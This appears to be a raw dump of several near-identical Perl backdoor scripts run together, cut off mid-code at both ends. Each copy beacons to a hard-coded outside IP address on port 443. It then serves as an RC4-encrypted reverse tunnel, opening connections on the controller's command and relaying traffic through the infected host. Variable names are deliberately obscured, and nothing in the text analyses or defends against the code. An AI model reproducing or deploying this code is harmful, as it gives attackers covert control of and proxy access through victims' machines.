MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.199'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.198'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.197'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.196'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 